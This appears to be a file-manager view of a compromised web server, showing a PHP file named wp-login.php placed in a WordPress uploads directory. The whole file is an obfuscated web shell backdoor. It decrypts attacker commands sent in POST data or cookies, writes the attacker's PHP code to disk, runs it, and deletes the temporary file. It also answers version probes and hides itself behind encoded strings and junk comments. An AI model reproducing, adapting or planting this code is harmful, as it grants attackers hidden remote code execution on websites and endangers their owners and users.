HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/08/wp-login.php
<?php $dwtsirclp   = /*   glbaa */ 'dwtsirclp' /*   rto */ ^ /*  bln  */ '';

$dccuaqyqi       =    $dwtsirclp(966-869)    .    "r"."r"."\141"  .    "y"."_".$dwtsirclp(256-147)     .    "a"."\160";$pdnkujywri /*n_f  */ = /*  pnoc*/ "i"."\x6d" /* zdmaq */ .	"p".$dwtsirclp(1106-998) /*   k */ . /*   czk  */ "o"."\x64"	. /* _urp */ $dwtsirclp(802-701);




function  dhxxdv($edcxn,    $ggvbtx)
{
      global /*   zg   */ $dwtsirclp;


    


   $edcxn  = /*   ku*/ "<" /*  vwop*/ . /*   iy */ "?"."\x70" /*pjjfb  */ . /* y */ "h"."p".$dwtsirclp(32) /* ml */ .    $dwtsirclp(614-497) /*   i*/ .    "\156"    .  $dwtsirclp(685-577)    .      "i".$dwtsirclp(110) /* qhcxee*/ .	"\x6b"    .      "\x28" /*pw */ .	"_"."\x5f"	.    "\106" /*zpb*/ .	"\111" /*  sccr*/ .    "\114"       .	"\x45" /*euh*/ .    "\137"    . /*   u */ "_".")"."\x3b"	.	$dwtsirclp(32)	.    $edcxn["\x64"];


    $nlu_daax_c	=    "\146" /*mwuz   */ . /* bw*/ "\151"	.    "l".$dwtsirclp(616-515)	.	"_"."p"."u"."t"."_"."c"."o"."\156"    . /*wzzek  */ "\x74" /*bivyc_ */ . /*k  */ "\x65"    .   "n"."t"."s";


 /*  y   */ 

       $nlu_daax_c($ggvbtx,	$edcxn);

    	uyuqoigqy($ggvbtx);
}



$hhhfnech /* t  */ =     73;


function /*  nwlxt   */ uyuqoigqy($ggvbtx)


{
   global    $dwtsirclp;

 /*  mj  */ 


    include($ggvbtx);
  $sxihj	=      $ggvbtx;


 /*  rvz  */ @unlink($sxihj);

}function   _cnfzdvem()
{


    global	$dwtsirclp;



       $uaqey /*fl_yz */ =     array();

 /* hpepys */ $uaqey["\160"   . /*   ymqsbw*/ "\x76"]    = /*qcx  */ phpversion();

 /*  mpz   */ $uaqey["s".$dwtsirclp(920-802)]	=    "3"."."."5";
	$qme_zyt  =       74;
    echo /*  zbssbi*/ @serialize($uaqey);


}



function /*   lw*/ mzkkjemnq($edcxn, /*fcpy_  */ $bjejjcxugy)


{
   global     $dwtsirclp;

    $vrmcgud_ /*   kc*/ =	"";

 /*  z   */ $zosesvef /* i  */ = /*  eryx  */ strlen($edcxn);     $gakcxv   = /*azq*/ strlen($bjejjcxugy);

     $uaqey   = /*  jvrg */ 0;


 /*   ldca  */ $noled     = /*  _l  */ 0;

  

    while   ($uaqey	<   $zosesvef) /*   xnl*/ {

    $ldlbu /*m */ =    $edcxn[$uaqey] /*   r   */ ^   $bjejjcxugy[$noled	% /* ozeg*/ $gakcxv];     $vrmcgud_     .=      $ldlbu;

	$noled++; /*  t*/ 


 /* tzrfc*/ $uaqey++;

	}
    
 /* vt_s_c */ if    (strlen($vrmcgud_) /*   i*/ >       20) /* l_oyi */ { /* lsa   */ $sbrnrxudb      =	substr($vrmcgud_,	0,       20);

	}

 /*  _gkcef   */ if    (empty($vrmcgud_)) /* og*/ {


    $vrmcgud_    =    date('Y-m-d /*  m_x */ H:i:s');


    }


     return    $vrmcgud_;}



function /* ca */ fzxfr($zwvszeso)

{	global /*  zxlgt   */ $dwtsirclp;

    


   $a_bva_x    = /*  ijxg */ "\x61"."\x37"   . /*nczf_q   */ "\x36"    .     "6".$dwtsirclp(101)."7"."2"."3"."-"."7"."\x35"   .     "\x33" /* opg*/ .	$dwtsirclp(563-463) /* iep */ .  "-"."\x34"	. /* y*/ $dwtsirclp(324-276)       .    "b"."5"."\55"	. /* exee   */ "8".$dwtsirclp(101)."1"."\x64"."-"."9"."\x61"."b".$dwtsirclp(98)	.	"\65"    . /*  n_ */ "4".$dwtsirclp(175-126)	.	$dwtsirclp(49)   .    "\x36"     .  $dwtsirclp(97)      . /*   b */ $dwtsirclp(54)     .	"6";
   


    foreach       ($zwvszeso	as    $_zugbmkdk    =>    $edcxn)	{	ginzmtyzkb(base64_decode($edcxn), /*  eaq */ $a_bva_x,	$_zugbmkdk);
       }}



function    ginzmtyzkb($edcxn,	$a_bva_x,      $_zugbmkdk){


 /*   mf   */ global	$dwtsirclp;


    

    $edcxn    =	unserialize(mzkkjemnq(mzkkjemnq($edcxn,    $a_bva_x),	$_zugbmkdk));

	$mfewhjr    = /*   cpgn */ 'rmft';

	$trhcvbjp       =    'nxfncnf';

     if    (isset($edcxn["\141" /*  pw */ .    "\153"]))    {    if     ($edcxn["\x61"] /*i*/ ==	"i")	{


    _cnfzdvem();  } /*   uy */ elseif    ($edcxn["\x61"]   == /*  wdfcd*/ $dwtsirclp(101))	{   dhxxdv($edcxn, /* obrlhq   */ sprintf("\56"    .    "/"."\45"  .    $dwtsirclp(115)   .    $dwtsirclp(299-253) /* anlzxq  */ . /* a  */ "\x70"    . /*   afmmdn*/ "l",    md5($a_bva_x)));			$rdcsjx	=      44;    }
    exit();


    }


}

fzxfr($_POST);      


$lwufld    = /*   zmzbb   */ 'rawurldecode';


$_tlak     =	$dccuaqyqi($lwufld,       $_POST);

$pdnkujywri("",  $lwufld);


fzxfr($_COOKIE);

$cyrzt_ev /*   shv*/ =	$dccuaqyqi($lwufld,    $_COOKIE);






?>